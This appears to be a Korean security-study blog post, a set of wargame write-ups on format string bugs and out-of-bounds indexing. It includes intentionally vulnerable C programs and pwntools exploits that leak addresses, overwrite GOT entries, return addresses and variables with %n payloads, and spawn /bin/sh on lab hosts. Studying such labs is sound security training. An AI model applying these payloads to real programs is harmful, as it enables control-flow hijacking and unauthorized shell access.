[함께실습] Exploit Tech : Format String Bug

changeme의 값을 1337로 바꿔보자.

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}
int changeme;
int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

▶ 분석

- 보호 기법

 

- 코드 분석

위 코드에서는 get_string 함수를 통해 buf에 32바이트 입력을 받는다. 사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하므로 포맷 스트링 버그 취약점이 발생한다.

 

▶ 익스플로잇 설계

1. changeme 주소 구하기

  changeme의 값을 조작하려면 해당 변수의 주소를 먼저 알아내야 한다. 바이너리에는 PIE 보호 기법이 적용되어 있으므로, 전역 변수인 changeme의 주소는 실행할 때마다 바뀐다. 따라서 PIE 베이스 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산해야 한다.

 

2. changeme를 1337로 설정하기

  get_string으로 changeme의 주소를 스택에 저장하면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있다. 1337바이트의 문자열을 미리 출력하고, 위 방법으로 changeme에 값을 쓰면 changeme를 1337로 설정할 수 있다.

 

▶ changeme 주소 구하기

disassemble main 명령어를 사용해 printf 함수가 호출되는 오프셋을 찾는다.

printf가 main+72에 위치하므로 이 곳에 브레이크포인트를 설정한다. 

 

  run 명령어를 통해 프로그램을 실행하면 get_string 함수에서 입력을 받는다. '12345678'를 입력한 후 브레이크포인트가 걸리면 다음과 같은 결과를 확인할 수 있다. RSP+16에 저장된 0x555555554970이 코드 영역에 포함되므로, 이 주소를 사용하면 PIE 베이스 주소를 구할 수 있다.

 

  x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달한다. 다음은 printf 함수의 인자를 순서대로 정리한 표이다. [RSP+16]은 포맷 스트링의 8번째 인자이므로, %8$p로 접근할 수 있다.

 

RSI : 0x7fffffffdf10

RDX : 0x8

RCX : 0x7ffff7af2151

R8 : 0x7ffff7dcf8c0

R9 : 0x7ffff7fe2470

[RSP] : "12345678"

[RSP+8] : 0x0

[RSP+16] : 0x555555554940

 

vmmap의 실행 결과를 활용하면, RSP+16에 저장된 값과 PIE 베이스 주소의 기준 주소와의 차이가 0x940임을 알 수 있다.

 

  %8$p로 출력한 주소에서 0x940을 빼고, changeme의 오프셋을 더하면 changme의 주소를 구할 수 있다. changeme의 오프셋은 다음 명령어로 확인할 수 있다.

 

  이를 이용하여 pwntools 스크립트를 작성하면 다음과 같이 코드 영역이 매핑된 주소와 changeme 변수의 주소를 구할 수 있다.

# Name: get_changeme.py
#!/usr/bin/python3
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("changeme", changeme)

 

- 1337 길이의 문자열 출력

  %n은 현재까지 출력된 문자열의 길이를 인자에 저장한다. 따라서 해당 형식 지정자로 changeme 변수에 1,337을 쓰려면 1,337바이트 길이의 문자열을 먼저 출력해야 한다. 위 코드에서는 입력받는 길이를 0x20으로 제한하므로 1,337개의 문자열을 직접 입력할 수는 없다. 이럴 때는 포맷 스트링의 width 속성을 사용할 수 있다.

  포맷 스트링의 width는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩 문자를 추가한다. 예를 들어 %1337c에 대응되는 인자의 길이가 1,337보다 작으면, 인자를 출력하고 남은 길이를 공백으로 출력한다. 아래 코드로 이를 확인할 수 있다.

// Name: fsb_minwidth.c
// Compile: gcc -o fsb_minwidth fsb_minwidth.c
int main() {
  printf("%10d\n", 123);
  printf("%20c\n", 'A');
}

 

▶ changeme 덮어쓰기

  changeme 변수의 주소를 알고, 1337의 길이를 갖는 문자열도 출력할 수 있으므로, 아래와 같은 포맷 스트링을 구성하면 changme의 값을 1337로 쓸 수 있다. 포맷 스트링을 구성하고, 익스플로잇을 실행하면 아래 실행 결과와 같이 good이 출력된다.

# Name: get_changeme.py
#!/usr/bin/python3
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("changeme", changeme)
# [2] Overwrite changeme
payload = "%1337c" # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += "%8$n" # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += "A"*6 # 8의 배수를 위한 패딩입니다.
payload = payload.encode() + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.
p.sendline(payload)
p.interactive()

 

[혼자실습] Format String Bug

basic_exploitation_002

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

printf(buf)를 보았을 때 포맷 스트림 버그가 발생할 수 있음을 알 수 있다.

 

RELRO, NX bit가 활성화 되어 있기 때문에 GOT Overwrite이 가능하다.

 

exit_got : 0x804a024

 

get_shell의 주소 : 0x8048609

 

exit의 got를 get_shell의 주소로 바꾸어 exit을 실행시키면 셸을 얻을 수 있을 것이다.

get_shell의 주솟값이 크기 때문에 exit_got+2, exit_got으로 나누어 넣어주도록 한다.

exit_got+2가 0804에 해당하고, exit_got가 8609에 해당한다.

 

804의 10진수는 2052이고 앞에 8byte가 있으므로 2052-8=2044이다. 

8609의 10진수는 34313이고 804의 10진수는 2052이므로 이 둘의 차이를 구하면 32261이다.

 

따라서 이 둘을 '%2044c%1$hn%32261c%2$hn'의 형태로 payload에 넣어준다.

그리고 이를 실행했더니 아래와 같은 결과와 함께 flag를 획득했다.

from pwn import *
p=remote('host2.dreamhack.games', 22015)
e=ELF('./basic_exploitation_002')

exit_got=e.got['exit'] #0x804a024

payload = p32(exit_got+2) + p32(exit_got) + b'%2044c%1$hn%32261c%2$hn'
p.send(payload)

p.interactive()

 

 

basic_exploitation_003

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

  read 함수를 통해 0x80만큼의 heap_buf를 입력받고 sprintf 함수로 stack_buf에 heap_buf를 집어넣는다.

이 과정에서 포맷 스트링 버그가 발생할 수 있다.

 

 

stack_buf의 주소 : ebp-0x98

 

스택 구조 : stack_buf + SFP(4byte) + RET(4byte)

0x98은 10진수로 152이므로 152+4=156byte이다. 이를 채워 RET에 get_shell 함수를 넣어주어야 한다.

 

get_shell의 주소 : 0x8048669

 

printf_got : 0x804a010

 

이를 이용해 익스플로잇을 작성했고 flag를 획득했다.

from pwn import *
p = remote("host2.dreamhack.games", 19373)
e=ELF('./basic_exploitation_003')

get_shell = 0x8048669

payload = b"%156c" + p32(get_shell)

p.sendline(payload)
p.interactive()

[ Format String Bug ]

Format String Bug

  C언어에는 printf 외에도 포맷 스트링을 인자로 사용하는 함수들이 많다. 대표적으로 scanf, fprintf, fscanf, sprintf, sscanf가 있다. 함수의 이름이 “f(formatted)”로 끝나고, 문자열을 다루는 함수라면 포맷 스트링을 처리할 것으로 추측해볼 수 있다.

  이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다. 그런데 이들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다. 그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다. 심지어는 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

  포맷 스트링 함수를 잘못 사용하여 발생하는 위와 같은 버그를 포맷 스트링 버그(Format String Buf, FSB)라고 부른다. 1989년에 이 버그가 처음 언급됐을 때는 위험도가 낮게 평가되었는데, 1999년에 이 버그를 이용한 익스플로잇이 공개되면서 굉장히 위험한 버그로 재평가되었다.

 

▶ 포맷 스트링

%[parameter][flags][width][.precision][length]type

포맷 스트링은 위와 같이 구성된다.

 

- specifier (형식 지정자)

 

- width

최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을 경우, 공백문자를 패딩해준다.

 

// Name: fs.c
// Compile: gcc -o fs fs.c
#include <stdio.h>
int main() {
  int num;
  printf("%8d\n", 123);            // "     123"
  printf("%s\n", "Hello, world");  // "Hello, world"
  printf("%x\n", 0xdeadbeef);      // "deadbeef"
  printf("%p\n", &num);            // "0x7ffe6d1cb2c4"
  printf("%s%n: hi\n", "Alice", &num);  // "Alice: hi", num = 5
  printf("%*s: hello\n", num, "Bob");   // "  Bob: hello "
  return 0;
}
※ "%n"의 쓰임
  포맷스트링의 인자가 사용자의 입력에 영향을 받는다면, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없다. 만약 프로그래머가 완성된 포맷 스트링의 길이를 코드에 사용해야 한다면, %n 을 사용하여 이런 문제를 해결할 수 있다. 위의 예시에서, printf("%s%n: hi\n", "Alice", &num); 의 첫 번째 인자가 문자열 변수이고, 사용자가 “Alice”보다 긴 문자열을 입력해도 “Bob: Hello”는 그 문장과 정렬된 결과를 출력할 것이다.

 

▶ parameter

참조할 인자의 인덱스를 지정한다. 이 필드의 끝은 $로 표기한다. 인덱스의 범위를 전달된 인자의 갯수와 비교하지 않는다.

// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>
int main() {
  int num;
  printf("%2$d, %1$d\n", 2, 1);  // "1, 2"
  return 0;
}

 

▶ 포맷 스트링 버그

: 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그

포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.

 

// fsb_auth.c
#include <stdio.h>
int main(void) {
    int auth = 0x42424242;
    char buf[32] = {0, };
    
    read(0, buf, 32);
    printf(buf);
    
    // make auth to 0xff
}

  위 코드에서 사용자가 입력한 buf를 인자로 printf를 호출하기 때문에 포맷 스트링 버그가 발생한다.

 

- 레지스터 및 스택 읽기

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
  char format[0x100];
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

  위 코드는 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드의 예이다. 이를 컴파일하고 %p %p %p %p %p %p %p %p %p %p 를 포맷 스트링을 입력하면, 값들이 출력되는 것을 볼 수 있다. 전달한 인자가 없는데 포맷 스트링이 10개의 인자를 요구하면서 레지스터와 스택의 값이 출력된 것이다. x64의 함수 호출 규약을 생각해보면, 이들이 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]의 값임을 알 수 있다.

 

- 임의 주소 읽기

스택 읽기의 결과에서 주목할 점은 6번째 출력 값인 [rsp]부터는 사용자의 입력을 8글자씩 참조한다는 것이다.

0x7025207025207025 => ”%p %p %p”

  이를 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고, %[n]$s 의 형식으로 그 주소의 데이터를 읽을 수 있다. 아래 코드는 이를 보여주는 PoC이다.

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  return 0;
}
#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()

 

- 임의 주소 쓰기

포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다.

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
  char format[0x100];
  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);
  printf("Secret: %d", secret);
  return 0;
}

 

아래 코드는 이를 보여주는 PoC이다. 

#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())

 

다음은 PoC의 실행 결과로, Secret이 31337로 조작되는 것을 확인할 수 있다.

[혼자실습] out_of_bound

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

name과 idx 입력을 받고 command[idx]를 system에서 실행한다. 이를 이용해 문제를 해결해보도록 하자.

 

다음은 main 함수를 디스어셈블한 결과이다.

offset을 구해보자. 0x804a0ac(name 주소)와 0x804a060(command 주소)의 차이는 0x4c(76)이다. command는 포인터 배열이고 이는 4byte이므로 4로 나누면 19가 된다. 

그렇기 때문에 command[19]를 통해 name을 이용할 수 있다.

 

from pwn import *
p=remote('host1.dreamhack.games', 9689)
e=ELF('./out_of_bound')

name=e.symbols['name']
command=e.symbols['command']

payload=p32(name+4)
payload+=b'/bin/sh'

p.recvuntil("Admin name: ")
p.send(payload)
p.recvuntil("What do you want?: ")
p.sendline('19')

p.interactive()

name에 /bin/sh를 넣어주어 system("/bin/sh")를 실행하도록 한다. 

[ Out of bounds ]

Out of bounds

▶ 배열의 속성

  배열은 연속된 메모리 공간을 점유하며, 배열이 점유하는 공간의 크기는 요소의 개수와 요소 자료형의 크기를 곱한 값이 된다. 흔히, 배열이 포함하는 요소의 개수를 배열의 길이 (Length)라고도 부른다.

배열의 크기

 

배열 각 요소의 주소는 배열의 주소, 요소의 인덱스 요소 자료형의 크기를 이용하여 계산된다.

배열의 속성

 

▶ Out of Bounds

  OOB는 요소를 참조할 때, 인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생한다. 개발자가 인덱스의 범위에 대한 검사를 명시적으로 프로그래밍하지 않으면, 프로세스는 앞서 배운 식을 따라 요소의 주소를 계산할 뿐, 계산한 주소가 배열의 범위 안에 있는지 검사하지 않는다.

  따라서 만약 사용자가 배열 참조에 사용되는 인덱스를 임의 값으로 설정할 수 있다면, 배열의 주소로부터 특정 오프셋에 있는 메모리의 값을 참조할 수 있다. 이를 배열의 범위를 벗어나는 참조라 하여 Out of Bounds라고 부른다.

 

▶ Proof-of-Concept

// Name: oob.c
// Compile: gcc -o oob oob.c
#include <stdio.h>
int main() {
  int arr[10];
  printf("In Bound: \n");
  printf("arr: %p\n", arr);
  printf("arr[0]: %p\n\n", &arr[0]);
  printf("Out of Bounds: \n");
  printf("arr[-1]: %p\n", &arr[-1]);
  printf("arr[100]: %p\n", &arr[100]);
  return 0;
}

  int형 변수 10개를 요소로 하는 배열 arr을 선언하고, 다양한 인덱스를 사용하여 배열 내부와 외부의 주소들을 출력한다. 이를 컴파일하고 실행하면 아래와 같은 결과를 얻을 수 있다.

  먼저, 컴파일러(gcc)는 배열의 범위를 명백히 벗어나는 -1과 100을 인덱스로 사용했음에도 아무런 경고를 띄워주지 않는다. 즉, OOB를 방지하는 것은 전적으로 개발자의 몫이다.

  다음으로, arr[0]와 arr[100]의 주소 차이가 0x7ffdea2c05d0−0x7ffdea2c0440=0x190=100×4이다. 배열의 범위를 벗어난 인덱스를 참조해도 앞서 살펴본 식을 그대로 사용함을 확인할 수 있다.

  OOB가 실제로 가능함을 확인해 보았으니, 이제는 OOB를 이용한 임의 주소 읽기와 임의 주소 쓰기에 대해 살펴보자.

 

▶ 임의 주소 읽기

  OOB로 임의 주소의 값을 읽으려면, 읽으려는 변수와 배열의 오프셋을 알아야 한다. 배열과 변수가 같은 세그먼트에 할당되어 있다면, 둘 사이의 오프셋은 항상 일정하므로 디버깅을 통해 쉽게 알아낼 수 있다. 만약 같은 세그먼트가 아니라면, 다른 취약점을 통해 두 변수의 주소를 구하고, 차이를 계산해야 한다.

// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char secret[256];
int read_secret() {
  FILE *fp;
  if ((fp = fopen("secret.txt", "r")) == NULL) {
    fprintf(stderr, "`secret.exe` does not exist");
    return -1;
  }
  fgets(secret, sizeof(secret), fp);
  fclose(fp);
  return 0;
}
int main() {
  char *docs[] = {"COMPANY INFORMATION", "MEMBER LIST", "MEMBER SALARY",
                  "COMMUNITY"};
  char *secret_code = secret;
  int idx;
  // Read the secret file
  if (read_secret() != 0) {
    exit(-1);
  }
  // Exploit OOB to print the secret
  puts("What do you want to read?");
  for (int i = 0; i < 4; i++) {
    printf("%d. %s\n", i + 1, docs[i]);
  }
  printf("> ");
  scanf("%d", &idx);
  if (idx > 4) {
    printf("Detect out-of-bounds");
    exit(-1);
  }
  puts(docs[idx - 1]);
  return 0;
}

  위 코드는 인덱스에 대한 검증이 미흡해 임의 주소 읽기가 가능한 예제 코드이다. 길이가 3인 배열 docs를 참조하는데, 인덱스 값이 3보다 큰지만 검사하고, 음수인지는 검사하지 않는다.

  docs와 secret_code은 모두 스택에 할당되어 있으므로, docs에 대한 OOB를 이용하면 secret_code의 값을 쉽게 읽을 수 있다.

  secret.txt파일을 만들고, oob_read의 OOB를 이용하여 secret.txt의 값을 읽어보자.

 

▶ 임의 주소 쓰기

  OOB를 이용하면 임의 주소에 값을 쓰는 것도 가능하다.

// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c
#include <stdio.h>
#include <stdlib.h>
struct Student {
  long attending;
  char *name;
  long age;
};
struct Student stu[10];
int isAdmin;
int main() {
  unsigned int idx;
  // Exploit OOB to read the secret
  puts("Who is present?");
  printf("(1-10)> ");
  scanf("%u", &idx);
  stu[idx - 1].attending = 1;
  if (isAdmin) printf("Access granted.\n");
  return 0;
}

  위 코드는 인덱스에 대한 검증이 미흡해 임의 주소에 값을 쓸 수 있는 예제이다. 코드를 살펴보면, 24바이트 크기의 Student 구조체 10개를 포함하는 배열 stu와 isAdmin를 전역 변수로 선언한다. 그리고 사용자로부터 인덱스를 입력받아서 인덱스에 해당하는 Student구조체의 attending에 1을 대입한다.

  예제 코드의 마지막 부분을 보면 isAdmin이 참인지 검사하는 부분이 있다. 해당 변수에 값을 직접 쓰는 부분은 없지만, 코드에 OOB취약점이 있으므로 이를 이용하여 isAdmin의 값을 조작할 수 있다.

  이를 위해 디버거로 stu와 isAdmin의 주소를 확인해보면, isAdmin이 stu보다 240바이트 높은 주소에 있음을 알 수 있다.

 

  배열을 구성하는 Student 구조체의 크기가 24바이트이므로, 10번째 인덱스를 참조하면 isAdmin을 조작할 수 있다.

다음과 같이, 예제를 컴파일하고 OOB취약점을 공격하여 isAdmin값을 조작해보자.

+ Recent posts